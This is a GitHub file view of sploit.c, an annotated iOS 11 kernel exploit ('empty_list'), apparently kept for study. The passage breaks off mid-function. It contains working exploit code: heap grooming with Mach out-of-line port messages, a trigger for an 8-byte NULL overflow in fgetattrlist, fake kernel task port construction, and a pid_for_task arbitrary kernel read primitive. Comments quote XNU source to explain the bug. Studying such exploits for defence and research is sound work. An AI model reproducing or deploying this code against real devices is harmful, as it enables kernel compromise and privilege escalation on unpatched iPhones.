Repository navigation
Expand file tree
/
Copy pathsploit.c
More file actions
2458 lines (2058 loc) · 113 KB
/
Copy pathsploit.c
File metadata and controls
2458 lines (2058 loc) · 113 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <sys/resource.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <mach/mach.h>
#include "sploit.h"
#include "offsets.h"
#include "kmem.h"
// Before looking into this, it is recommended to have a high(and low) level view of the IPC subsystem
// A recommended read :
// https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c10
// Mac OS X Internals - A Systems Approach : Chapter 9.3. Mach IPC: The Mac OS X Implementation
// And also, some knowledge of the internals of iOS heap would help understanding the "caving in" characteristic of the heap
// https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf
void increase_limits() {
struct rlimit lim = {0};
// Quote [ This specifies a value one greater than the maximum file descriptor number that can be opened by this process. ]
// It's changing the maximum file descriptor number to open lots of files... but for what reason...?
// It'll become clear later that the reason for doing this is to create a whole stockload of pipes(A couple thousand)
int err = getrlimit(RLIMIT_NOFILE, &lim);
if (err != 0) {
printf("failed to get limits\n");
}
printf("rlim.cur: %lld\n", lim.rlim_cur);
printf("rlim.max: %lld\n", lim.rlim_max);
// The maximum value is hardcoded to 10240, as seen in the XNU source :
// #define OPEN_MAX 10240
lim.rlim_cur = 10240;
err = setrlimit(RLIMIT_NOFILE, &lim);
if (err != 0) {
printf("failed to set limits\n");
}
lim.rlim_cur = 0;
lim.rlim_max = 0;
err = getrlimit(RLIMIT_NOFILE, &lim);
if (err != 0) {
printf("failed to get limits\n");
}
printf("rlim.cur: %lld\n", lim.rlim_cur);
printf("rlim.max: %lld\n", lim.rlim_max);
}
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_TASK 2
#define IKOT_NONE 0
void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, uint64_t initial_read_addr, uint64_t vm_map, uint64_t receiver, uint64_t context) {
// clear the region we'll use:
memset(fake_port, 0, 0x500);
// This is to build an arbitrary primitive to read from arbitrary addresses.
// Refer to p.42 from "https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core"
// However, the function is also capable of building a fully functional kernel task port
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
// You don't need these to be set up in order to use the "pid_for_task" technique. That's why it's set to NULL in the earlier phases
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = context;
// This function also builds the fake task object. It could either be overlayed in the same memory chunk of the fake ipc_port, or can reside in a seperate memory at "fake_task_kaddr".
uint64_t fake_task_kaddr = fake_port_kaddr + 0x100;
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_kaddr;
uint8_t* fake_task = fake_port + 0x100;
// set the ref_count field of the fake task:
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
// make sure the task is active
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
// set the vm_map of the fake task:
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
// set the task lock type of the fake task's lock:
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
// set the bsd_info pointer to be 0x10 bytes before the desired initial read:
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)) = initial_read_addr - 0x10;
}
int message_size_for_kalloc_size(int kalloc_size) {
return ((3*kalloc_size)/4) - 0x74;
}
#define N_EARLY_PORTS 80000
mach_port_t early_ports[N_EARLY_PORTS+20000];
int next_early_port = 0;
// Allocate a whole bunch of ports. This kind of has the benefit of filling in all the ipc_port object holes that initially existed before the process started.
// These ports will be borrowed and used to spray a whole ton of kalloc.16 chunks. The reason why we don't just immediately create a port and use that to spray,
// is because if you create a port, then you create additional allocations including the ipc_object. In contrast, if you borrow an already existing port and just send a
// heap spray message to it, the noisy allocations will be muted.
void alloc_early_ports() {
for (int i = 0; i < N_EARLY_PORTS; i++) {
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &early_ports[i]);
if (err != KERN_SUCCESS) {
printf("mach_port_allocate failed to allocate a new port for early_ports (%d)\n", i);
}
}
next_early_port = N_EARLY_PORTS-1;
}
// This borrows one of the ports from the early port pool
mach_port_t steal_early_port() {
if (next_early_port == 0) {
printf("out of early ports\n");
sleep(100);
}
mach_port_t p = early_ports[next_early_port];
next_early_port--;
//early_ports[next_early_port--] = MACH_PORT_NULL;
return p;
}
// For debugging purposes
void dump_early_ports(){
for (int i = 0; i < N_EARLY_PORTS; i++) {
printf("EARLY %d %08x\n", i, early_ports[i]);
}
}
// This is not used. The early ports preserve throughout the entire exploit
void clear_early_ports() {
for (int i = 0; i < next_early_port; i++) {
mach_port_destroy(mach_task_self(), early_ports[i]);
}
}
struct kalloc_16_send_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
uint8_t pad[0x200];
};
// What this basically does is spray a single kalloc.16 chunk in memory by sending a OOL port descriptor message. Standard heap spray technique.
mach_port_t kalloc_16() {
kern_return_t err;
// take an early port:
mach_port_t port = steal_early_port();
// insert a send right:
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
uint32_t msg_size = message_size_for_kalloc_size(0x110);
// send a message with two OOL NULL ports; these will end up in a kalloc.16:
struct kalloc_16_send_msg kalloc_msg = {0};
kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
kalloc_msg.hdr.msgh_remote_port = port;
kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
kalloc_msg.hdr.msgh_id = 0x41414141;
kalloc_msg.body.msgh_descriptor_count = 1;
mach_port_t ool_ports[2] = {0xffffffff, 0xffffffff};
kalloc_msg.ool_ports.address = ool_ports;
kalloc_msg.ool_ports.count = 2;
kalloc_msg.ool_ports.deallocate = 0;
kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
// send it:
err = mach_msg(&kalloc_msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)msg_size,//sizeof(struct kalloc_16_send_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("sending kalloc.16 message failed %s\n", mach_error_string(err));
}
return port;
}
#define N_MIDDLE_PORTS 50000
mach_port_t middle_ports[N_MIDDLE_PORTS];
int next_middle_port = 0;
// Create a bunch of ports with send writes. One of these ports will end up as a dangling port that will be abused throughout the entire exploit
mach_port_t alloc_middle_port() {
mach_port_t port;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // added
if (err != KERN_SUCCESS) {
printf("failed to alloc middle port\n");
}
middle_ports[next_middle_port++] = port;
return port;
}
struct ool_multi_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[0];
};
// To free them either receive or destroy the message
mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports) {
/*
#define MACH_PORT_QLIMIT_MAX MACH_PORT_QLIMIT_LARGE
*/
// You can only send "MACH_PORT_QLIMIT_MAX = MACH_PORT_QLIMIT_LARGE" messages to a single port.
if (messages_to_send > MACH_PORT_QLIMIT_LARGE) {
printf("****************** too many messages\n");
return MACH_PORT_NULL;
}
kern_return_t err;
// Port that is going to intentionally not receive the mach message. This will preserve the kalloc OOL ports array in the kernel memory. For heap spraying.
mach_port_t port = MACH_PORT_NULL;
if (holder_port == MACH_PORT_NULL) {
// If "holder_port" is MACH_PORT_NULL, then allocate a new holder port will be used to send messages to.
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
// Insert a send right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("failed to allocate port for hold kallocs\n");
}
// bump up the number of messages we can enqueue:
//
// ↑ Like the comment says. Bump it up to "MACH_PORT_QLIMIT_MAX", so we can spray a lot of OOL port descriptor arrays(up to MACH_PORT_QLIMIT_MAX) on a single port.
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
err = mach_port_set_attributes(mach_task_self(),
port,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits,
MACH_PORT_LIMITS_INFO_COUNT);
if (err != KERN_SUCCESS) {
printf(" [-] failed to increase queue limit\n");
exit(EXIT_FAILURE);
}
// The new holder port will be returned.
} else {
// You could also supply a port to send to
port = holder_port;
}
// these are MACH_PORT_NULL
//
// ↑ Like the comment says :
/*
#define MACH_PORT_NULL
*/
// calloc initializes the buffer with all zero
mach_port_t* ports_to_send = calloc(kalloc_size/8, sizeof(mach_port_name_t));
// Calculating the size of the mach message header, body, and the message data (the trailing OOL ports)
size_t message_size = offsetof(struct ool_multi_msg, ool_ports[allocs_per_message+1]);
// Allocate it, and fill the various info shortly after
struct ool_multi_msg* msg = malloc(message_size);
memset(msg, 0, message_size);
// This is required to send ool(out-of-line) messages
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (uint32_t) message_size;
// The mach message is going to be sent here, but it's not going to receive it immediately
msg->hdr.msgh_remote_port = port;
// We don't need to send it back to us
msg->hdr.msgh_local_port = MACH_PORT_NULL;
// Can be any random value
msg->hdr.msgh_id = 0x12340101;
// So apprently, you can send multiple ool arrays by setting this value. This means you can kalloc several times in one single message.
msg->body.msgh_descriptor_count = allocs_per_message;
for (int i = 0; i < allocs_per_message; i++) {
// This will point to the array of ports. These ports will be converted to the real mach port object's address that's in the kernel, but what's important is that
// there will be space allocated by kalloc to hold these addresses, exactly the size of the passed function parameter, "kalloc_size".
msg->ool_ports[i].address = source_ports != NULL ? source_ports : ports_to_send;
msg->ool_ports[i].count = kalloc_size/8;
// Don't let it be immediately freed
msg->ool_ports[i].deallocate = 0;
// For sending the message
msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
// This indicates that the current ool data is an ool ports descriptor, which is basically an array of ports
msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
// To actually make the kernel kalloc and copy the port array data into the kernel
// Quote [ MACH_MSG_PHYSICAL_COPY : In a sent message, this flag requires that the kernel construct an actual copy of the memory (either into wired kernel memory or default memory managed space). There is a (fairly large) limit on the amount of data that can be physically copied in a message. Port arrays always assume this option when sent. ]
msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
// You could send multiple messages(up to MACH_PORT_QLIMIT_MAX) to a single port. So this gives us a kalloc x*y times heap spraying primitive.
for (int i = 0; i < messages_to_send; i++) {
// send it:
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(uint32_t)message_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("%s\n", mach_error_string(err));
//exit(EXIT_FAILURE);
}
}
// Freeing these won't free the sprayed kallocs. Only freeing userspace buffers.
free(ports_to_send);
free(msg);
return port;
}
uint8_t msg_buf[10000];
// By receiving a message on a specific port, we can deallocate the kalloc that's attached to that specific message.
void discard_message(mach_port_t port) {
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
kern_return_t err;
err = mach_msg(msg,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
0,
10000,
port,
0,
0);
if (err != KERN_SUCCESS){
printf("error receiving on port: %s\n", mach_error_string(err));
}
mach_msg_destroy(msg);
}
#include <sys/attr.h>
int vfs_fd = -1;
struct attrlist al = {0};
size_t attrBufSize = 16;
void* attrBuf = NULL;
// It's setting the attributes to engender an overflow. The other things are not important and are set to guide the execution towards the vulnerable code path.
// But they are required, and will become clear later in the vuln root cause analysis. The most important field here if "attrBuf", which is 16.
void prepare_vfs_overflow() {
// You can open this even within the Safari Webcontent Sandbox
vfs_fd = open("/", O_RDONLY);
if (vfs_fd == -1) {
perror("unable to open fs root\n");
return;
}
// Why we need to set these are explained below
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.volattr = 0xfff;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;
attrBuf = malloc(attrBufSize);
}
// This will do a kalloc.16, overflow out of it with 8 NULL bytes, then free it
//
// Let's track down the execution flow.
// /bsd/kern/syscalls.master :
/*
228 AUE_FGETATTRLIST ALL { int fgetattrlist(int fd, struct attrlist *alist, void *attributeBuffer, size_t bufferSize, u_long options); }
*/
// /bsd/vfs/vfs_attrlist.c
/*
int
fgetattrlist(proc_t p, struct fgetattrlist_args *uap, __unused int32_t *retval)
{
struct vfs_context *ctx;
vnode_t vp = NULL;
int error;
struct getattrlist_args ap;
ctx = vfs_context_current();
error = 0;
if ((error = file_vnode(uap->fd, &vp)) != 0)
return (error);
if ((error = vnode_getwithref(vp)) != 0) {
file_drop(uap->fd);
return(error);
}
ap.path = 0;
ap.alist = uap->alist;
ap.attributeBuffer = uap->attributeBuffer;
ap.bufferSize = uap->bufferSize;
ap.options = uap->options;
error = getattrlist_internal(vp, &ap, p, ctx); <- our user provided arguments are passed here
file_drop(uap->fd);
if (vp)
vnode_put(vp);
return error;
}
static int
getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx)
{
struct attrlist al;
struct vnode_attr va;
...
...
// Copying what we passed in from userland to kernelland
if ((error = copyin(uap->alist, &al, sizeof(al))) != 0)
goto out;
// Aha! This explains the previous attribute setting :
// al.bitmapcount = ATTR_BIT_MAP_COUNT;
// If it weren't set, then the syscall would simply bail out with EINVAL
if (al.bitmapcount != ATTR_BIT_MAP_COUNT) {
error = EINVAL;
goto out;
}
...
// There is a MAC check here. According to @niklas_b, this MAC check passes even within the Safari WebContent Sandbox
#if CONFIG_MACF
error = mac_vnode_check_getattrlist(ctx, vp, &al);
if (error)
goto out;
#endif
...
// Aha! So this is why it was setting this attribute :
// al.volattr = 0xfff;
// It's trying to let the code flow into this code block...
if (al.volattr) {
if (al.fileattr || al.dirattr || al.forkattr) {
error = EINVAL;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes");
goto out;
}
// And eventually into here
error = getvolattrlist(vp, uap, &al, ctx, proc_is64); <- Trying to enter the vulnerable function
goto out;
}
static int
getvolattrlist(vnode_t vp, struct getattrlist_args *uap, struct attrlist *alp,
vfs_context_t ctx, int is_64bit)
{
struct vfs_attr vs;
struct vnode_attr va;
// This is an important struct that is involed in the overflow. Let's see how it's defined.
struct _attrlist_buf ab;
...
...
struct _attrlist_buf {
char *base;
char *fixedcursor;
char *varcursor;
ssize_t allocated;
ssize_t needed;
attribute_set_t actual;
attribute_set_t valid;
};
// The size of this struct is 0x14.
typedef struct attribute_set {
attrgroup_t commonattr;
attrgroup_t volattr;
attrgroup_t dirattr;
attrgroup_t fileattr;
attrgroup_t forkattr;
} attribute_set_t;
// Now back to the "getvolattrlist" function.
static int
getvolattrlist(vnode_t vp, struct getattrlist_args *uap, struct attrlist *alp,
vfs_context_t ctx, int is_64bit)
{
struct vfs_attr vs;
struct vnode_attr va;
struct _attrlist_buf ab;
...
...
...
// Aha! So that's why it set this attribute :
// al.commonattr = ATTR_CMN_RETURNED_ATTRS;
// The "return_valid" variable is used in a lot of places throughout the function, and most of the times bails out if not set to ATTR_CMN_RETURNED_ATTRS.
// Also it's actually used to trigger the vulnerability, as seen below.
return_valid = (alp->commonattr & ATTR_CMN_RETURNED_ATTRS);
pack_invalid = (uap->options & FSOPT_PACK_INVAL_ATTRS);
if (pack_invalid) {
if (!return_valid) {
error = EINVAL;
goto out;
}
...
...
...
// It's allocating the overflown buffer. See how it's taking the user supplied "uap->bufferSize" as the allocation size.
ab.allocated = imin(uap->bufferSize, fixedsize + varsize);
if (ab.allocated > ATTR_MAX_BUFFER) {
error = ENOMEM;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
goto out;
}
// It allocates it here.
MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_WAITOK); <- Remember, ab.allocated is 16. So a kalloc.16 chunk is allocated.
...
...
if (return_valid) {
ab.fixedcursor += sizeof (attribute_set_t);
// It initializes the ab.actual struct with all zeros
bzero(&ab.actual, sizeof (ab.actual));
}
...
...
...
// See. This needs to be set in order to reach the vulberable codeblock.
if (return_valid) {
ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
if (pack_invalid) {
ab.actual.commonattr &= ab.valid.commonattr;
ab.actual.volattr &= ab.valid.volattr;
}
// Now here is the vulnerability.
// "ab.base" is allocated "uap->bufferSize" size, which is 0x10. But "sizeof(ab.actual)" is 0x14, and therefore, bcopying from "ab.base + sizeof(uint32_t)" by
// 0x14 amount of size will copy 8 more bytes than intended! So this would mean "ab.actual.fileattr" and "ab.actual.forkattr" will be overflowed into the adjacent chunk,
// but since only volattr was set when the syscall was invoked, those two will be unchanged from 0, and hence, two 0 DWORDs will be overflowed at the edge of ab.base.
// One might wonder, 'Why didn't you set those two values from userland so you can actually overflow user controlled values? That question can be answered by revisiting
// the "getattrlist_internal" function :
/ *
static int
getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx)
{
...
...
...
if (al.volattr) {
if (al.fileattr || al.dirattr || al.forkattr) {
error = EINVAL;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes");
goto out;
}
error = getvolattrlist(vp, uap, &al, ctx, proc_is64);
goto out;
}
* /
// See. When "al.volattr" is set, others cannot be set, otherwise the syscall will bail out. So we are forced with an 8 NULL byte overflow.
// Now the vulnerability is understood. Let's go back and see what it's trying to do with these NULLs.
bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
}
*/
void do_vfs_overflow() {
int options = 0;
int err = fgetattrlist(vfs_fd, &al, attrBuf, attrBufSize, options);
//printf("err: %d\n", err);
}
mach_port_t initial_early_kallocs[80000];
int next_early_kalloc = 0;
mach_port_t middle_kallocs[80000];
int next_middle_kalloc = 0;
// in the end I don't use these, but maybe they help?
volatile int keep_spinning = 1;
void* spinner(void* arg) {
while(keep_spinning);
return NULL;
}
#define N_SPINNERS 100
pthread_t spin_threads[N_SPINNERS];
// These are busy threads that make the scheduler toss the CPU to these threads, instead of other threads that are running in other processes in the system.
// They exist in order to minimize the chance of CPU claiming from exterior processes, so that those processes won't induce kallocs that would interfere
// during the delicate heap grooming process.
void start_spinners() {
return;
for (int i = 0; i < N_SPINNERS; i++) {
pthread_create(&spin_threads[i], NULL, spinner, NULL);
}
}
// Stop the spinning threads
void stop_spinners() {
return;
keep_spinning = 0;
for (int i = 0; i < N_SPINNERS; i++) {
pthread_join(spin_threads[i], NULL);
}
}
const int total_fds = 14*0x1f*8;
int read_ends[total_fds];
int write_ends[total_fds];
int next_pipe_index = 0;
mach_port_t early_read_port = MACH_PORT_NULL;
int early_read_read_fd = -1;
int early_read_write_fd = -1;
uint64_t early_read_known_kaddr = 0;
// read_fd and write_fd are the pipe fds which have a pipe buffer at known_addr
// "prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr);"
void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) {
// This is the dangling port that's carefully setup to be used for AAR
early_read_port = target_port;
// With the pipes, we can constantly change what's inside the fake task object's buffer
early_read_read_fd = read_fd;
early_read_write_fd = write_fd;
// The fake task object's kernel address. We can use this not only for the fake task object but other purposes too.
early_read_known_kaddr = known_kaddr;
}
uint32_t early_rk32(uint64_t kaddr) {
uint8_t* buf = malloc(0xfff);
read(early_read_read_fd, buf, 0xfff);
// We have to constantly rebuild the fake task port, because the arbitrary address we want to read has to be setup inside the fake task object
build_fake_task_port(buf, early_read_known_kaddr, kaddr, 0, 0, 0);
write(early_read_write_fd, buf, 0xfff);
uint32_t val = 0;
kern_return_t err = pid_for_task(early_read_port, &val);
if (err != KERN_SUCCESS) {
printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
}
printf("read val via pid_for_task: %08x\n", val);
free(buf);
return val;
}
// Two consecutive pid_for_task for a QWORD read
uint64_t early_rk64(uint64_t kaddr) {
uint64_t lower = (uint64_t)early_rk32(kaddr);
uint64_t upper = (uint64_t)early_rk32(kaddr + 4);
uint64_t final = lower | (upper << 32);
return final;
}
// Let's try to understand what's happening
void vfs_sploit() {
printf("empty_list by @i41nbeer\n");
// Checking if iOS version is between 11.0 ~ 11.3.1, and setting up various kernel structure offsets
offsets_init();
// Creating lots of busy threads to minimize heap interference from other processes.
start_spinners();
printf("vfs_sploit\n");
// Increase maximum number of files that can be opened.
increase_limits();
size_t kernel_page_size = 0;
// How big a "Page Size" on this device?
host_page_size(mach_host_self(), &kernel_page_size);
if (kernel_page_size == 0x4000) {
printf("this device uses 16k kernel pages\n");
} else if (kernel_page_size == 0x1000) {
printf("this device uses 4k kernel pages\n");
} else {
printf("this device uses an unsupported kernel page size\n");
exit(EXIT_FAILURE);
}
// Prepare initial parameters to pass to the vulnerable syscall
prepare_vfs_overflow();
// set up the heap:
// allocate a pool of early ports; we'll use some of these later
alloc_early_ports();
if (kernel_page_size == 0x1000) {
// It's filling up the holes in the 0x10 zalloc zone for devices with 4K page size.
// This is probably because the kalloc.16 zone is a lot busier(more initial holes) than 16K page devices.
mach_port_t initial_kallocs_holder = hold_kallocs(0x10, 100, 100, MACH_PORT_NULL, NULL);
}
// 0x110 will be the kalloc size of the ipc_kmsg allocation for the kalloc.16 messages
// we need to ensure that these allocations don't interfere with the page-level groom,
// so ensure there's a long freelist for them
// make 30'000 kalloc(0x110) calls then free them all
//
// In the loop below, it's going to send a myriad of mach messages via "kalloc_16()". In every message sent, an "ipc_kmsg" struct will be created an held in memory
// until the message is received. Initially, "kmsg = ipc_kmsg_alloc(msg_and_trailer_size);" tries to get kmsg objects from a per processor cache, but it quickly runs
// out and starts to kalloc() 0x110 chunks continuously.
// Looking at Ian's comment below, he wants the sequence of pages to look exactly as below. If "ipc_kmsg" structs were to interfere, then that order would be
// changed by having random kalloc.0x110 pages inbetween them which would reduce reliability. By creating an extremely long freelist of 0x110 chunks, we can ensure
// that the "ipc_kmsg" will play inside that specific large freelist pool, and not jump into newly allocated pages that are to be used with kalloc.16 and ipc_ports.
// 50000 free chunks are enough because the maximum kalloc.16 allocated at a given time is around 15000.
mach_port_t flp = hold_kallocs(0x110, 100, 500, MACH_PORT_NULL, NULL);
mach_port_destroy(mach_task_self(), flp);
// try to groom our initial pattern:
// kalloc.16 | ipc_ports | kalloc.16 | ipc_ports ...
// first off we're just trying to get the pages like that
// How many pages are we going to spray?
int INITIAL_PATTERN_REPEATS = kernel_page_size == 0x4000 ? 40 : 60;
// Leftover code, not really used anywhere.
mach_port_t kalloc_holder_port = MACH_PORT_NULL;
// Calculate the ammount of allocations needed to fill exactly one page for kalloc.16, and for the "ipc_port" object.
int kallocs_per_zcram = kernel_page_size/0x10; // 0x1000 with small kernel pages, 0x4000 with large
/*
struct ipc_port {
struct ipc_object ip_object;
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
} data;
ipc_kobject_t ip_kobject;
mach_port_mscount_t ip_mscount;
mach_port_rights_t ip_srights;
mach_port_rights_t ip_sorights;
struct ipc_port *ip_nsrequest;
struct ipc_port *ip_pdrequest;
struct ipc_port_request *ip_dnrequests;
unsigned int ip_pset_count;
struct ipc_mqueue ip_messages;
struct ipc_kmsg *ip_premsg;
...
...
...
int alias;
};
*/
// The ipc_port object size is 0xA8. This calculation kind of implies for 4K pages, the ipc_port object spans 3 pages. The 16K page calculation is kind of wierd though..
int ports_per_zcram = kernel_page_size == 0x1000 ? 0x49 : 0xe0; // 0x3000 with small kernel pages, 0x4000 with large
// I didn't really know that the pages for kallocs that exhausted their freelists are picked up consecutively. Well, that seems to be the case. It's kind of an
// assumption throughout the entire exploit if you look at the exploit logic. Like Ian mentions in the above comment, he's trying to create a consecutive, interleaving pattern of allocations.
for (int i = 0; i < INITIAL_PATTERN_REPEATS; i++) {
// 1 page of kalloc
for (int i = 0; i < kallocs_per_zcram; i++) {
mach_port_t p = kalloc_16();
